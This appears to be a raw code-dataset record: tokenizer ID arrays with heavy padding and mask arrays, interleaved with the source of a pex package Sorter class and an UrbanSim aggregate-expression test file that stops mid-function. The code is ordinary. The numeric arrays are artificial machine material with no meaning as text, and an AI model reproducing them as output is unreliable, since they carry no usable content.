267, 1819, 275, 291, 14, 81, 8, 3919, 534, 2440, 1275, 8268, 13, 5983, 13, 5029, 13, 1317, 1370, 908, 8, 277, 14, 11283, 63, 3173, 63, 6662, 430, 267, 340, 1819, 14, 2246, 26, 288, 372, 1819, 14, 3288, 360, 26502, 5832, 1080, 1055, 1913, 342, 267, 587, 26, 288, 372, 291, 14, 81, 8, 3919, 29, 277, 14, 11283, 63, 3173, 63, 6662, 680, 3288, 360, 26502, 5832, 1080, 1055, 1913, 342, 339, 347, 4744, 25842, 63, 22283, 8, 277, 304, 267, 408, 267, 7635, 340, 3414, 19191, 4681, 4744, 25842, 787, 3769, 9080, 12188, 12817, 394, 1883, 14, 267, 408, 267, 367, 1478, 12, 5174, 315, 3874, 8, 277, 14, 81, 8, 3919, 26431, 4041, 13, 513, 690, 1212, 8109, 288, 10033, 10720, 83, 8, 277, 14, 5750, 680, 1185, 63, 475, 63, 2108, 8, 2902, 680, 15795, 342, 288, 340, 440, 291, 14, 81, 8, 3919, 26431, 2902, 7348, 1080, 93, 690, 299, 1370, 908, 8, 1080, 29, 1080, 4992, 6604, 26, 355, 372, 756, 398, 372, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
sdwilsh/buck
third-party/py/pex/pex/sorter.py
55
1403
# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from .package import EggPackage, SourcePackage, WheelPackage class Sorter(object): DEFAULT_PACKAGE_PRECEDENCE = ( WheelPackage, EggPackage, SourcePackage, ) @classmethod def package_type_precedence(cls, package, precedence=DEFAULT_PACKAGE_PRECEDENCE): for rank, package_type in enumerate(reversed(precedence)): if isinstance(package, package_type): return rank # If we do not recognize the package, it gets lowest precedence return -1 @classmethod def package_precedence(cls, package, precedence=DEFAULT_PACKAGE_PRECEDENCE): return ( package.version, # highest version cls.package_type_precedence(package, precedence=precedence), # type preference package.local) # prefer not fetching over the wire def __init__(self, precedence=None): self._precedence = precedence or self.DEFAULT_PACKAGE_PRECEDENCE # return sorted list of (possibly filtered) packages from the list def sort(self, packages, filter=True): key = lambda package: self.package_precedence(package, self._precedence) return [ package for package in sorted(packages, key=key, reverse=True) if not filter or any(isinstance(package, package_cls) for package_cls in self._precedence)]
apache-2.0
[ 3, 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 1275, 2491, 492, 662, 2721, 8599, 12, 5800, 8599, 12, 26161, 8599, 421, 199, 533, 428, 3968, 8, 785, 304, 523, 6186, 63, 19265, 63, 14246, 1149, 6013, 275, 334, 489, 26161, 8599, 12, 489, 662, 2721, 8599, 12, 489, 5800, 8599, 12, 523, 776, 819, 768, 3744, 523, 347, 2559, 63, 466, 63, 19571, 8, 1886, 12, 2559, 12, 13823, 29, 3472, 63, 19265, 63, 14246, 1149, 6013, 304, 272, 367, 6915, 12, 2559, 63, 466, 315, 3874, 8, 13501, 8, 19571, 2298, 489, 340, 1228, 8, 2491, 12, 2559, 63, 466, 304, 267, 372, 6915, 272, 327, 982, 781, 886, 440, 27159, 314, 2559, 12, 652, 7545, 18966, 13823, 272, 372, 446, 17, 819, 768, 3744, 523, 347, 2559, 63, 19571, 8, 1886, 12, 2559, 12, 13823, 29, 3472, 63, 19265, 63, 14246, 1149, 6013, 304, 272, 372, 334, 267, 2559, 14, 1023, 12, 221, 327, 15356, 1015, 267, 843, 14, 2491, 63, 466, 63, 19571, 8, 2491, 12, 13823, 29, 19571, 395, 221, 327, 730, 16705, 267, 2559, 14, 1832, 9, 221, 327, 16602, 440, 21239, 1806, 314, 11799, 819, 347, 636, 826, 721, 277, 12, 13823, 29, 403, 304, 272, 291, 423, 19571, 275, 13823, 503, 291, 14, 3472, 63, 19265, 63, 14246, 1149, 6013, 819, 327, 372, 3355, 769, 402, 334, 19614, 9806, 9, 6117, 687, 314, 769, 523, 347, 4069, 8, 277, 12, 6117, 12, 2457, 29, 549, 304, 272, 790, 275, 2400, 2559, 26, 291, 14, 2491, 63, 19571, 8, 2491, 12, 291, 423, 19571, 9, 272, 372, 359, 267, 2559, 367, 2559, 315, 3355, 8, 5154, 12, 790, 29, 498, 12, 3837, 29, 549, 9, 267, 340, 440, 2457, 503, 1263, 8, 6074, 8, 2491, 12, 2559, 63, 1886, 9, 367, 2559, 63, 1886, 315, 291, 423, 19571, 1874, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 1275, 2491, 492, 662, 2721, 8599, 12, 5800, 8599, 12, 26161, 8599, 421, 199, 533, 428, 3968, 8, 785, 304, 523, 6186, 63, 19265, 63, 14246, 1149, 6013, 275, 334, 489, 26161, 8599, 12, 489, 662, 2721, 8599, 12, 489, 5800, 8599, 12, 523, 776, 819, 768, 3744, 523, 347, 2559, 63, 466, 63, 19571, 8, 1886, 12, 2559, 12, 13823, 29, 3472, 63, 19265, 63, 14246, 1149, 6013, 304, 272, 367, 6915, 12, 2559, 63, 466, 315, 3874, 8, 13501, 8, 19571, 2298, 489, 340, 1228, 8, 2491, 12, 2559, 63, 466, 304, 267, 372, 6915, 272, 327, 982, 781, 886, 440, 27159, 314, 2559, 12, 652, 7545, 18966, 13823, 272, 372, 446, 17, 819, 768, 3744, 523, 347, 2559, 63, 19571, 8, 1886, 12, 2559, 12, 13823, 29, 3472, 63, 19265, 63, 14246, 1149, 6013, 304, 272, 372, 334, 267, 2559, 14, 1023, 12, 221, 327, 15356, 1015, 267, 843, 14, 2491, 63, 466, 63, 19571, 8, 2491, 12, 13823, 29, 19571, 395, 221, 327, 730, 16705, 267, 2559, 14, 1832, 9, 221, 327, 16602, 440, 21239, 1806, 314, 11799, 819, 347, 636, 826, 721, 277, 12, 13823, 29, 403, 304, 272, 291, 423, 19571, 275, 13823, 503, 291, 14, 3472, 63, 19265, 63, 14246, 1149, 6013, 819, 327, 372, 3355, 769, 402, 334, 19614, 9806, 9, 6117, 687, 314, 769, 523, 347, 4069, 8, 277, 12, 6117, 12, 2457, 29, 549, 304, 272, 790, 275, 2400, 2559, 26, 291, 14, 2491, 63, 19571, 8, 2491, 12, 291, 423, 19571, 9, 272, 372, 359, 267, 2559, 367, 2559, 315, 3355, 8, 5154, 12, 790, 29, 498, 12, 3837, 29, 549, 9, 267, 340, 440, 2457, 503, 1263, 8, 6074, 8, 2491, 12, 2559, 63, 1886, 9, 367, 2559, 63, 1886, 315, 291, 423, 19571, 1874, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
apdjustino/DRCOG_Urbansim
src/opus_core/variables/expression_tests/aggregate_disaggregate_expression.py
1
22844
# Opus/UrbanSim urban simulation software. # Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington # See opus_core/LICENSE from opus_core.tests import opus_unittest from opus_core.datasets.dataset import Dataset from opus_core.datasets.dataset_pool import DatasetPool from opus_core.storage_factory import StorageFactory from numpy import array, ma, arange class Tests(opus_unittest.OpusTestCase): # like aggregate_disaggregate.py, except that the thing being aggregated is an expression # omits tests involving number_of_agents def test_aggregate(self): # test aggregate with no function specified (so defaults to 'sum') storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'zone_id':array([1,2]), } ) storage.write_table(table_name='gridcells', table_data={ 'my_variable':array([4,8,0.5,1]), 'grid_id':array([1,2,3,4]), 'zone_id':array([1,2,1,2]), } ) zone_dataset = Dataset(in_storage=storage, in_table_name='zones', id_name="zone_id", dataset_name='zone') gridcell_dataset = Dataset(in_storage=storage, in_table_name='gridcells', id_name="grid_id", dataset_name='gridcell') dataset_pool = DatasetPool() dataset_pool._add_dataset('gridcell', gridcell_dataset) dataset_pool._add_dataset('zone', zone_dataset) values = zone_dataset.compute_variables(['zone.aggregate(10.0*gridcell.my_variable)'], dataset_pool=dataset_pool) should_be = array([45, 90]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate") def test_aggregate_fully_qualified_variable(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'zone_id':array([1,2]), } ) # it would be nicer to call this table 'gridcells' but we want to use the existing test variable storage.write_table(table_name='tests', table_data={ 'a_dependent_variable':array([4,8,0.5,1]), 'id':array([1,2,3,4]), 'zone_id':array([1,2,1,2]), } ) zone_dataset = Dataset(in_storage=storage, in_table_name='zones', id_name="zone_id", dataset_name='zone') test_dataset = Dataset(in_storage=storage, in_table_name='tests', id_name="id", dataset_name='tests') dataset_pool = DatasetPool() dataset_pool._add_dataset('zone', zone_dataset) dataset_pool._add_dataset('tests', test_dataset) values = zone_dataset.compute_variables(['zone.aggregate(10.0*opus_core.tests.a_test_variable)'], dataset_pool=dataset_pool) should_be = array([450, 900]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in test_aggregate_fully_qualified_variable") def test_aggregate_sum(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'my_variable':array([4,8,0.5,1]), 'id':array([1,2,3,4]), 'id2':array([1,2,1,2]), } ) storage.write_table(table_name='faz', table_data={"id2":array([1,2])}) ds = Dataset(in_storage=storage, in_table_name='zones', id_name="id", dataset_name="myzone") ds2 = Dataset(in_storage=storage, in_table_name='faz', id_name="id2", dataset_name="myfaz") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds) dataset_pool._add_dataset('myfaz', ds2) values = ds2.compute_variables(['myfaz.aggregate(10.0*myzone.my_variable, function=sum)'], dataset_pool=dataset_pool) should_be = array([45,90]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate_sum") def test_aggregate_sum_one_level(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'my_variable':array([4,8,2,1,40,23,78]), 'id0':arange(7)+1, 'id1':array([1,3,1,2,3,2,1]) } ) storage.write_table(table_name='fazes', table_data={ 'id1':array([1,2,3]), 'id2':array([1,2,1]) } ) storage.write_table(table_name='fazdistr', table_data={ 'id2':array([1,2]) } ) ds0 = Dataset(in_storage=storage, in_table_name='zones', id_name="id0", dataset_name="myzone") ds1 = Dataset(in_storage=storage, in_table_name='fazes', id_name="id1", dataset_name="myfaz") ds2 = Dataset(in_storage=storage, in_table_name='fazdistr', id_name="id2", dataset_name="myfazdistr") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds0) dataset_pool._add_dataset('myfaz',ds1) dataset_pool._add_dataset('myfazdistr',ds2) values = ds2.compute_variables(['myfazdistr.aggregate(10.0*myzone.my_variable, intermediates=[myfaz])'], dataset_pool=dataset_pool) should_be = array([1320, 240]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate_sum_one_level") def test_versioning_with_aggregate(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='households', table_data={ 'my_variable':array([4,8,2,1,40,23,78]), 'id0':arange(7)+1, 'id1':array([1,3,1,2,3,2,1]) } ) storage.write_table(table_name='fazes', table_data={ 'id1':array([1,2,3]), 'id2':array([1,2,1]) } ) storage.write_table(table_name='fazdistr', table_data={ 'id2':array([1,2]) } ) ds0 = Dataset(in_storage=storage, in_table_name='households', id_name="id0", dataset_name="myhousehold") ds1 = Dataset(in_storage=storage, in_table_name='fazes', id_name="id1", dataset_name="myfaz") ds2 = Dataset(in_storage=storage, in_table_name='fazdistr', id_name="id2", dataset_name="myfazdistr") dataset_pool = DatasetPool() dataset_pool._add_dataset('myhousehold', ds0) dataset_pool._add_dataset('myfaz',ds1) dataset_pool._add_dataset('myfazdistr',ds2) 